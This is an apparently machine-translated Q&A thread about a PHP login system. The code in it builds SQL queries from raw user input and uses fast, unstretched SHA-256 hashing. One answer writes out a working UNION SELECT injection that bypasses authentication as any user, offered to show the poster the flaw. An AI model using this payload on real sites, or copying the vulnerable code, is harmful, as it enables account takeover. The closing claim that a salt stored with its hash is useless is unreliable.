PHP登录安全理念


PHP login security Idea

我有一个系统的想法,用于登录用户并验证他们在页面上的登录。
我意识到那里有很多系统,但我主要是好奇我的想法是否有任何好处。 我已经做了一些挖掘,但大多数结果似乎遗漏了我一直认为是重要做法(如密码加密等(。 我可能会更努力地寻找预制解决方案,因为它可能更安全,但我还没有真正使用应用程序安全性,并希望得到一些反馈。

当用户登录时,将根据数据库验证其名称和密码,密码使用 SHA256 和随机生成的 salt(整个字符串(进行加密(salt 和加密密码长度均为 128 个字符(。下面是密码验证码:

 function ValidatePassword($password, $correctHash)
 {
    $salt = substr($correctHash, 0, 64); //get the salt from the front of the hash
    $validHash = substr($correctHash, 64, 64); //the SHA256
    $testHash = hash("sha256", $salt . $password); //hash the password being tested
    //if the hashes are exactly the same, the password is valid
    return $testHash === $validHash;
}

如果登录有效,则会为其分配一个令牌。 此令牌类似于密码加密,但存储加密的纪元以及另一个随机盐。 令牌、登录时间、过期时间和用户名存储在数据库中,用户名和令牌作为会话信息传输。

下面是创建令牌的代码:

function loginUser($email)
{
  $thetime = time();
  $ip = $_SERVER['REMOTE_ADDR'];
  $dbuser="///";
  $dbpass="///";
  $dbtable="tokens";
  mysql_connect(localhost,$dbuser,$dbpass);
  mysql_select_db("///") or die( "Unable to select database");
  //Generate a salt
  $salt = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM));
  //Hash the salt and the current time to get a random token
  $hash = hash("sha256", $salt . $password);
  //Prepend the salt to the hash
  $final = $salt . $hash;
  $exptime = $thetime + 3600;
  //Store this value into the db
  $query = "INSERT INTO `spanel`.`tokens` VALUES ('$final', $thetime, $exptime,    $thetime, '$ip', MD5('$email') )";
  mysql_query($query) or die ("Could not create token.");
  //Store the data into session vars
  $_SESSION['spanel_email'] = $email;
  $_SESSION['spanel_token'] = $final;
  return true;
}

当他们到达页面时,将根据数据库检查他们拥有的令牌和用户名。 如果检查良好,则会更新过期时间并加载页面。这是该代码:

function validateUser($page)
{
  //Grab some vars
  $thetime = time();
  $ip = $_SERVER['REMOTE_ADDR'];
  $token = $_SESSION['spanel_token'];
  $email = $_SESSION['spanel_email'];
  $dbuser="///";
  $dbpass="///";
  $dbtable="tokens";
  mysql_connect(localhost,$dbuser,$dbpass);
  mysql_select_db("///") or die( "Unable to select database");
  //Global var
  //Get the var for token expire
  $token_expire = 3600;
  //Validate the token
  $query = "SELECT * FROM `tokens` WHERE `token` LIKE '$token' AND `user_id` LIKE   MD5('$email') AND `exp` > $thetime";
  $result = mysql_query($query) or die(mysql_error());
  //Check if we have a valid result
  if ( mysql_num_rows($result) != 1 ) {
    //Logout the user
    //Destroy the session
    session_destroy();
    //Redirect
    header("location: /spanel/login.php?denied=1");
    exit();
    //(Since the token is already invalid, there's no reason to reset it as invalid)
  }
  $row = mysql_fetch_assoc($result);
  //Update the token with our lastseen
  $newexp = $thetime + $token_expire;
  $query = "UPDATE `spanel`.`tokens` SET `exp` = $newexp, `lastseen_ip` = $thetime,    `lastseen_ip` = '$ip' WHERE `token` LIKE '$token'";
  mysql_query($query);
}

感谢反馈(好的和坏的(。 就像我说的,我没有做太多的安全工作,希望得到指示。

编辑:我担心我高估了我有效创建登录系统的能力。 说到这里,我理解如果你决定停止试图弄清楚混乱的混乱,这可能是有缺陷的想法。

不过,这是登录页面中的php代码。 (在这里说了什么之后,我意识到只是发布密码是一个很大的禁忌(。

    $email = $_POST['email'];
    $password = $_POST['password'];
    $dbuser="///";
    $dbpass="///";
    $dbtable="///";
    mysql_connect(localhost,$dbuser,$dbpass);
    mysql_select_db("spanel") or die( "Unable to select database");
    $query = "SELECT * FROM users WHERE `email` LIKE '$email'";
    $result=mysql_query($query) or die(mysql_error());
    $num=mysql_num_rows($result);
    $row = mysql_fetch_array($result);
    if ( ValidatePassword($password, $row['hash']) == true ) {
      loginUser($email);
      header("location: /spanel/index.php");
    } else {
      echo "<p>Login Failed.</p>";
    }

下面是在创建帐户时生成密码盐和哈希的位。

 function HashPassword($password)
 {
    $salt = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM)); //get 256 random bits in hex
    $hash = hash("sha256", $salt . $password); //prepend the salt, then hash
    //store the salt and hash in the same string, so only 1 DB column is needed
    $final = $salt . $hash; 
    return $final;
}

感谢您的反馈,我很高兴我缺乏知识的问题在这里而不是在攻击之后发现的。

首先,像这样的哈希是不安全的。 SHA256很容易被破解,至少对于短密码是这样。您必须使用一些哈希拉伸。看看你是否能找到一些PBKDF2实现,或者使用维基百科的建议来使用sha256进行"for循环"。此外,我不明白你通过拥有更多会话变量所能实现的目标。我不明白 validateuser(( 是做什么的,它仍然依赖于会话 ID,或者我错过了一些东西。

与 sivann 类似,我也看不出额外spanel_token的原因。它似乎有效地做的是确保会话在令牌过期时间后不再有效。由于 token 的值和WHERE条件的 user_id 值都存储在会话中,并且仅在登录期间设置,因此它们不会更改。但是会话过期可以更容易地实现。


但除此之外,更重要的是:你的代码容易受到SQL注入的影响。使用您在此处发布的知识会很容易。您所需要做的就是执行以下步骤:

  • 找出电子邮件中注入UNION SELECT的用户列数:

    ' UNION SELECT null, …, null WHERE ''='
    

    如果输入了错误的列数,您的脚本将抛出 MySQL 错误,否则会出现"登录失败"。谢谢。

  • 使用以下查询:

    SELECT t1.* FROM users t1 RIGHT JOIN (SELECT email, '000000000000000000000000000000000000000000000000000000000000000060e05bd1b195af2f94112fa7197a5c88289058840ce7c6df9693756bc6250f55' hash FROM users LIMIT 1) t2 USING (email);
    

    000000000000000000000000000000000000000000000000000000000000000060e05bd1b195af2f94112fa7197a5c88289058840ce7c6df9693756bc6250f55值注入到每条记录中,而不是原始哈希列值。前导0是盐,其余字符串是空密码字符串的加盐 SHA-256 哈希值,这将导致有效的密码。

    因此,我们最终为密码字段输入一个空字符串,为电子邮件字段输入以下内容:

    ' UNION SELECT t2.* FROM users t1 RIGHT JOIN (SELECT email, '000000000000000000000000000000000000000000000000000000000000000060e05bd1b195af2f94112fa7197a5c88289058840ce7c6df9693756bc6250f55' hash FROM users LIMIT 1) t2 USING (email) WHERE ''='
    

这应该足以像任何用户一样获得"身份验证"。

只是评论盐/哈希系统:将盐与数据库中的密码一起存储有点违背了盐的目的 - 如果你的数据库被破坏,盐从安全角度变得毫无用处,因为它就在那里帮助猜测/破坏安全性。 salt 的目的是通过向要哈希的值添加适当长度的秘密字符串来增加猜测哈希单词所需的时间。